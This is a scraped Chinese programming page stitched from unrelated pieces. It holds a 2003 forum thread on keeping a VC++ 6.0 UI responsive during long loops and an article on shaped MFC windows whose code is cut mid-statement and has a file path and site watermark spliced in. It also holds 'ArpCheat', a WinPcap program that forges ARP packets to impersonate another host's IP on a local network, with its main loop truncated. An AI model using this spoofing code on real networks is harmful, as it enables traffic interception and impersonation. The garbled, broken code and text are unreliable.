在VC++ 6.0中,如何能在一个长循环中,还能响应别的消息

hhzzmm 2003-08-21 05:08:13
在VC++ 6.0中,如何能在一个长循环中,还能响应别的消息(如:按下一个按钮启动一次长循环,同时希望在处理长循环中,还能处理别的按钮消息,在DELPHI中可以通过在长循环中加入Application.ProcessMessage来实现,VC中如何来实现,在同一个主线程内)
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harrypotter 2003-08-21
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ok1234567 2003-08-21
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为什么不用多线程?
如果这样的情况都不用多线程
多线程还有什么用处:)
神农氏 2003-08-21
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用getmessage的各位
本来就是个大循环,不用再加while了吧
yinx 2003-08-21
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线程
ruihuahan 2003-08-21
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test7979 2003-08-21
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既然是长循环,另外启个线程比较好
prettywolf 2003-08-21
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我赞成用线程。
prettywolf 2003-08-21
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我赞成用线程。
jruv 2003-08-21
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打错了,
while(PeekMessage(&msg,NULL,0,0,PM_REMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
fupa0 2003-08-21
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多线程可以吗?
思危 2003-08-21
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没错!用jruv(江城飞鸿)的做法
zuozl 2003-08-21
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MSG msg;

while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}

加上上面的还是会有响应延迟的,最好是开一个新线程运行长时间处理,并将其线程的优先权低于主界面线程优先权,这样就能保证足够的主界面响应。
vcforever 2003-08-21
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MSG message;

while(PeekMessage(&message,NULL,0,0,PM_NOREMOVE)){
::TranslateMessage(&message);
::DispatchMessage(&message);
}
jruv 2003-08-21
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加入
MSG msg;

while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
wangweintk 2003-08-21
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不用加入这种循环,会自动响应。
ayanamiwww 2003-08-21
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楼上的好像不对吧,我这个肯定可以,记住给分吖!
在你的循环体里加入一下语句,你相知道为什么,自己看书了,《技术内幕(第四版)》p210
MSG message;
while( ::PeekMessage( &message, NULL, 0, 0, PM_REMOVE ) )
{
::TranslateMessage( &message );
::DispatchMessage( &message );
}
^_^
myheart8541_cn 2003-08-21
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在你的循环代码中插入以下代码应该可以:
MSG msg;
::GetMessage(&msg,NULL,0,0);
::TranslateMessage(&msg);
::DispatchMessage(&msg);
标准Windows应用程序窗口一般为带有标题栏的浅灰色矩形外观,因而“异形”对话框/窗口也主要是颜色与外形上动手脚。改变背景颜色 改变对话框(窗口)的背景颜色是最简单的改变Windows应用程序外观的方法,根据Windows创建与管理机理,一般有两种方法。一种是处理WM_CTLCOLOR消息,首先创建所选背景颜色的刷子,然后调用SetBkColor()或SetDialogBkColor()以所创建的刷子来绘制窗口或对话框的背景。需要重画窗口或对话(或对话的子控件)时,Windows向对话发送消息WM_CTLCOLOR,应用程序处理WM_CTLCOLOR消息并返回一个用来绘画对话背景的刷子句柄。另外一种是响应Windows的WM_ERASEBKGND消息,Windows向窗口发送一个WM_ERASEBKGND消息通知该窗口擦除背景,可以使用VC++的ClassWizard重载该消息的缺省处理程序来擦除背景(实际是用刷子画),并返回TRUE以防止Windows擦除窗口。2.改变窗口外形通过使用新的SDK函数SetWindowRgn(),可以将绘画和鼠标消息限定在窗口的一个指定的区域,因此实际上是使窗口成为指定的不规则形状(区域形状)。“区域”是Windows GDI一种强有力的机制,区域是设备上的一块空间,可以是任意形状,复杂的区域可以由各个小区域组合而成。Windows内含的区域创建函数有CreateRectRgn()、CreatePolyRgn()、CreatePolygonRgn()、CreateRoundRectRgn()和CreateEllipticRgn(),再通过CombineRgn()来组合区域,即可得到复杂形状的区域,获得复杂形状的窗口外形。通过上面的方法虽然可以得到“异形”窗口,但感觉颜色单调,外形也不够“COOL”,能否获得更酷的“异形”对话框/窗口呢?回答是肯定的。下面就介绍利用位图和蒙板创建“异形”对话框/窗口的方法。3.利用位图创建异形对话框窗口利用位图创建异形对话框原理是根据象素的颜色来进行“扣像”处理,对所有非指定颜色象素区域进行区域组合。利用这一技术,实际上就是实现对话框/窗口的位图背景,并且对指定的颜色区域进行透明处理。下面就以透明位图为背景的对话框为例来说明:首先用绘图软件如PhotoShop绘制编辑一幅拟做对话框背景用的图片,用BMP格式保存,假设存为Back.Bmp。需要说明的是,虽然Visual C++集成开发环境的资源编辑器只能编辑不超过16色的位图,但完全我们可以以真彩色方式存储,不必理会Visual C++的警告。下一步是用Visual C++的AppWizard创建一个基于对话框的应用程序假定命名为Trans。用资源编辑器引入背景图片Back.Bmp,如果是高彩色,不必理会出现的警告信息,点击OK确认即可。为了明确,修改默认的资源ID标识IDB_BITMAP1为IDB_BACKBMP。然后修改对话框的Style为Popup,Border为None,如图1 。图1向CTransDlg类添加区域处理功能模块void CTransDlg::SetupRegion(CDC *pDC /*对话框窗口DC*/, UINT BackBitmapID /*背景位图资源ID*/, UINT MaskBitmapID /*区域处理位图资源ID*/, COLORREF TransColor = 0x00000000 /*透明颜色值,默认为黑色*/)。到目前为止,我们暂时认为MaskBitmapID等同于BackBitmapID。其核心工作是根据MaskBitmapID指示位图的象素颜色进行区域组合。完整的代码如下:void CTransDlg::SetupRegion(CDC *pDC /*对话框窗口DC*/, UINT BackBitmapID /*背景位图资源ID*/,UINT MaskBitmapID /*区域处理位图资源ID*/,COLORREF TransColor /*透明颜色值*/){CDC memDC;CBitmap cBitmap;CBitmap* pOldMemBmp = NULL;COLORREF cl;CRect cRect;UINT x, y;CRgn wndRgn, rgnTemp;//取得窗口大小GetWindowRect(&cRect);//背景位图资源IDm_BackBitmapID = BackBitmapID//装载位图cBitmap.LoadBitmap(MaskBitmapID);memDC.CreateCompatibleDC(pDC);pOldMemBmp = memDC.SelectObject(&cBitmap);//首先创建默认的完整区域为完整的窗口区域wndRgn.CreateRectRgn(0, 0, cRect.Width(), cRect.Height());//下面的两层循环为检查背景位图象素颜色,进行透明区域处理;//当象素颜色为指定的透明值时,即将该点从区域剪裁掉。//其用到的几个成员变量m_MaskLeftOff、m_MaskTopOff、//m_MaskRightOff、m_MaskBottomOff、m_FrameWidth//和m_CaptionHeight,其作用后面再作说明,此时可全部当作0来处理。for(x= m_FrameWidth+m_MaskLeftOff;x<=cRect.Width() - m_FrameWidth-m_MaskRightOff; x++){for(y = m_CaptionHeight+m_MaskTopOff; yBitBlt(0, 0, rect.Width(), rect.Height(), &memDC, 0, 0, SRC/DownloadFiles\a\2001-10-12\COPY);if (pOldMemBmp) memDC.SelectObject( pOldMemBmp );//删除系统却省的OnEraseBkgnd功能//return CDialog::OnEraseBkgnd(pDC);return TRUE;}接下来是在WM_PAINT的消息处理函数OnPaint()添加代码。由于当背景位图比较大时,进行区域处理比较耗时,所以只在启动时进行一次处理。一种方法是OnInitDialog()处理,但这样会在从启动程序到窗口出现有相当的延迟,易引起程序尚未启动的误解。再一种方法就是在OnPaint()处理,但为了避免重复处理,可以加上一个判断标志。以下是OnPaint()的代码,正体为AppWizard生成,粗体为自己添加内容。void CTransDlg::OnPaint() {if (IsIconic()){……}else{if(m_nFirstRun){ //首次运行标志//修改鼠标光标为等待方式BeginWaitCursor();//设置背景区域SetupRegion(GetWindowDC(), 计算机教程用VC++实现异形窗口.来自www.itwen.comIT WEN计算机教程网 IDB_BACKBMP, IDB_BACKBMP, 0x00FFFFFF /*白色*/);//恢复鼠标光标为正常模式EndWaitCursor();m_nFirstRun = 0;}CDialog::OnPaint();}}剩下的工作就是根据背景位图的大小来设置对话框窗口的大小和位置,这可以在OnInitDialog()通过调用MoveWindow()来实现。再添加一些变量的声名和初始化,即可编译运行。图2为运行结果示例:图24.进一步的讨论前面实现了单一模式的异形对话框,但有些情况下又需要不同的样式,如有标题栏、边框等,或者只作局部的处理,这就是前面两个成员变量m_FrameWidth和m_CaptionHeight作用,通过在OnInitDialog()判断窗口样式,使m_FrameWidth和m_CaptionHeight取不同的值。这部分的代码为:BOOL CTransBmpDlg::OnInitDialog(){……// TODO: Add extra initialization herem_nFirstRun = 1;//数据设置,窗口左上角坐标:m_Left=0,m_Top=0 //背景位图宽高:m_Width=535,m_Height=105SetSize(0, 0, 535, 105);//蒙板处理区域与窗口边框的距离m_MaskLeftOff=m_MaskTopOff=m_MaskRightOff=m_MaskBottomOff=0;//窗口边框与标题栏象素值m_FrameWidth = m_CaptionHeight = 0;//取得窗口样式LONG style = ::GetWindowLong(this->m_hWnd, GWL_STYLE);//如保留窗口风格样式,则根据不同的窗口边框类型    //选取不同的m_FrameWidth和m_CaptionHeight值, //也可以根据处理位置的需要进行付值if((style & WS_BORDER) == WS_BORDER)m_FrameWidth = ::GetSystemMetrics(SM_CXBORDER);if((style & WS_THICKFRAME) == WS_THICKFRAME)m_FrameWidth = ::GetSystemMetrics(SM_CXFIXEDFRAME);if((style & DS_MODALFRAME) == DS_MODALFRAME)m_FrameWidth = ::GetSystemMetrics(SM_CXFIXEDFRAME);if((style & WS_CAPTION) == WS_CAPTION){m_FrameWidth = ::GetSystemMetrics(SM_CXFIXEDFRAME);m_CaptionHeight = ::GetSystemMetrics(SM_CYSMCAPTION);}m_CaptionHeight += m_FrameWidth * 2;//重置窗口的位置和大小MoveWindow(m_Left, m_Top, m_Width + m_FrameWidth * 2, m_Height + m_CaptionHeight, TRUE);……return TRUE; // return TRUE unless you set the focus to a control}另外,为进一步增加灵活性,使窗口样式不仅仅受背景位图颜色的控制。通过指定SetupRegion()的MaskBitmapID 为一个我们称之为“蒙板”的双色位图(多色彩也可以,但一般没有必要),即可实现需要的操作。图4为在同一背景位图上,通过图3的蒙板位图实现的效果,并且增加了对话框窗体的边框和标题栏属性。图3图4利用这种蒙板技术,可以创建出任意形状的窗口,而与背景位图无关。需要注意的是,对于对话框的控件如按钮等,如处在或部分处在通明区域,则通明区域部分一并被剪裁掉,是否剪裁和剪裁位置与大小,利用蒙板可以很方便地进行控制。需要特别指出的是,SetWindowRgn()所指定的区域是针对整个窗口的,而Bitblt()/ StretchBlt()的输出区域是针对于客户区,两者在定位上是不同的,编程应加以注意并灵活应用,这也是前面之所以设置边框大小等变量的原因。5.结束语这种异形窗口的创建不仅适应于对话框,而且适应于所有的基于CWnd类的派生窗口。采用这一方法,你可以创建出任何只要你能够画出的窗体,实现只要可以画出,就可以做出的目标。本文代码在Visual C++ 5.0、6.0下调试通过,运行正常,操作系统为Windows98SE。
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址度:MAC地址度为6B unsigned char pro_len; //协议地址度:IP地址度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求该字段没有意义;ARP响应为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求为请求解析的IP地址;ARP响应为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include #include #include #include #include #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; nhFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址度:MAC地址度为0x06 packet.arp.add_len = 0x06; //协议地址度:IP地址度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 使用WinPcap 下载并安装WinPcap,安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。 增加WinPcap的include和lib路径: Tools→Options→Directories,其include文件的路径增加WinPcap的include路径(其有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其有Packet.lib和wpcap.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

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        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
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